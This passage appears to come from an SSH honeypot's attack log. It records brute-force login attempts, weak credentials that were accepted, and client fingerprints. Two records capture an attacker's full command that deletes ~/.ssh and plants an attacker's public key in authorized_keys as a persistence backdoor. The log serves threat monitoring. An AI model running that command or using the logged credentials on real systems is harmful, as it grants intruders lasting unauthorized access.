  "src_ip": "193.46.255.86",
  "start_time": "2026-07-15T09:30:48.763850Z",
  "end_time": "2026-07-15T09:30:54.795775Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "12345"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

63.141.242.2

2026-07-15 09:30:41.596371 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 252b8f9827df

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 15.3s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "252b8f9827df",
  "src_ip": "63.141.242.2",
  "start_time": "2026-07-15T09:30:41.596371Z",
  "end_time": "2026-07-15T09:30:56.861230Z",
  "duration": "15.3",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

66.240.223.208

2026-07-15 09:26:26.508738 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c535e3fbf3d0

Client Version: SSH-2.0-Go

Engagement Duration: 10.1s

HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227

{
  "id": "c535e3fbf3d0",
  "src_ip": "66.240.223.208",
  "start_time": "2026-07-15T09:26:26.508738Z",
  "end_time": "2026-07-15T09:26:36.623160Z",
  "duration": "10.1",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

23.175.50.52

2026-07-15 09:25:47.162713 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 3e874167d9d4

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 18.9s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "3e874167d9d4",
  "src_ip": "23.175.50.52",
  "start_time": "2026-07-15T09:25:47.162713Z",
  "end_time": "2026-07-15T09:26:06.094385Z",
  "duration": "18.9",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

176.53.159.196

2026-07-15 09:23:55.260153 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 4b3445e4e807

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "4b3445e4e807",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-15T09:23:55.260153Z",
  "end_time": "2026-07-15T09:23:56.420735Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.112

2026-07-15 09:21:43.556752 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: audrianna

Record ID: 116ecc9c8b38

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.6s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "116ecc9c8b38",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-15T09:21:43.556752Z",
  "end_time": "2026-07-15T09:21:50.110149Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "audrianna",
      "pass": "audrianna"
    },
    {
      "user": "audrianna",
      "pass": "audrianna1"
    },
    {
      "user": "audrianna",
      "pass": "audrianna123"
    },
    {
      "user": "audrianna",
      "pass": "audrianna1234"
    },
    {
      "user": "audrianna",
      "pass": "audrianna12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

14.175.5.84

2026-07-15 09:14:05.764877 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 15a20e926715

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 3.2s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "15a20e926715",
  "src_ip": "14.175.5.84",
  "start_time": "2026-07-15T09:14:05.764877Z",
  "end_time": "2026-07-15T09:14:09.015805Z",
  "duration": "3.2",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

186.57.14.137

2026-07-15 09:06:58.714010 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 28c782cb41be

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "28c782cb41be",
  "src_ip": "186.57.14.137",
  "start_time": "2026-07-15T09:06:58.714010Z",
  "end_time": "2026-07-15T09:06:59.881488Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

186.57.14.137

2026-07-15 09:06:56.359159 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: e22417e19bd3

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "e22417e19bd3",
  "src_ip": "186.57.14.137",
  "start_time": "2026-07-15T09:06:56.359159Z",
  "end_time": "2026-07-15T09:06:58.529558Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

186.57.14.137

2026-07-15 09:06:53.894277 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / russia

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: f7b8ae920dfd

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 6.0s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "f7b8ae920dfd",
  "src_ip": "186.57.14.137",
  "start_time": "2026-07-15T09:06:53.894277Z",
  "end_time": "2026-07-15T09:06:59.884763Z",
  "duration": "6.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "russia"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

186.57.14.137

2026-07-15 09:02:15.561908 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: svn

Record ID: cd3a534758e8

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "cd3a534758e8",
  "src_ip": "186.57.14.137",
  "start_time": "2026-07-15T09:02:15.561908Z",
  "end_time": "2026-07-15T09:02:17.731866Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "svn",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

63.141.242.2

2026-07-15 09:02:03.040447 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 088f4a2bb84b

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 44.9s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "088f4a2bb84b",
  "src_ip": "63.141.242.2",
  "start_time": "2026-07-15T09:02:03.040447Z",
  "end_time": "2026-07-15T09:02:47.964535Z",
  "duration": "44.9",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

186.57.14.137

2026-07-15 08:57:50.253701 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zulfikar

Record ID: 557217eaea7d

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "557217eaea7d",
  "src_ip": "186.57.14.137",
  "start_time": "2026-07-15T08:57:50.253701Z",
  "end_time": "2026-07-15T08:57:52.422692Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "zulfikar",
      "pass": "zulfikar"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

186.57.14.137

2026-07-15 08:53:23.785378 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 491c21a4be63

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "491c21a4be63",
  "src_ip": "186.57.14.137",
  "start_time": "2026-07-15T08:53:23.785378Z",
  "end_time": "2026-07-15T08:53:24.990491Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

186.57.14.137

2026-07-15 08:53:21.411592 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 84512a2faf85

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "84512a2faf85",
  "src_ip": "186.57.14.137",
  "start_time": "2026-07-15T08:53:21.411592Z",
  "end_time": "2026-07-15T08:53:23.588500Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

186.57.14.137

2026-07-15 08:53:18.894165 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / Kuanfan@021

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: e31c44c16cf6

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 6.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "e31c44c16cf6",
  "src_ip": "186.57.14.137",
  "start_time": "2026-07-15T08:53:18.894165Z",
  "end_time": "2026-07-15T08:53:24.984483Z",
  "duration": "6.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "Kuanfan@021"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

23.175.50.52

2026-07-15 08:53:18.459843 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: cb1d5c267b6f

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 18.5s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "cb1d5c267b6f",
  "src_ip": "23.175.50.52",
  "start_time": "2026-07-15T08:53:18.459843Z",
  "end_time": "2026-07-15T08:53:36.921518Z",
  "duration": "18.5",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

180.76.172.156

2026-07-15 08:50:38.742725 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ac52eda75ebe

Client Version: SSH-2.0-libssh2_1.11.1

Engagement Duration: 2m 0s

{
  "id": "ac52eda75ebe",
  "src_ip": "180.76.172.156",
  "start_time": "2026-07-15T08:50:38.742725Z",
  "end_time": "2026-07-15T08:52:38.833105Z",
  "duration": "120.1",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}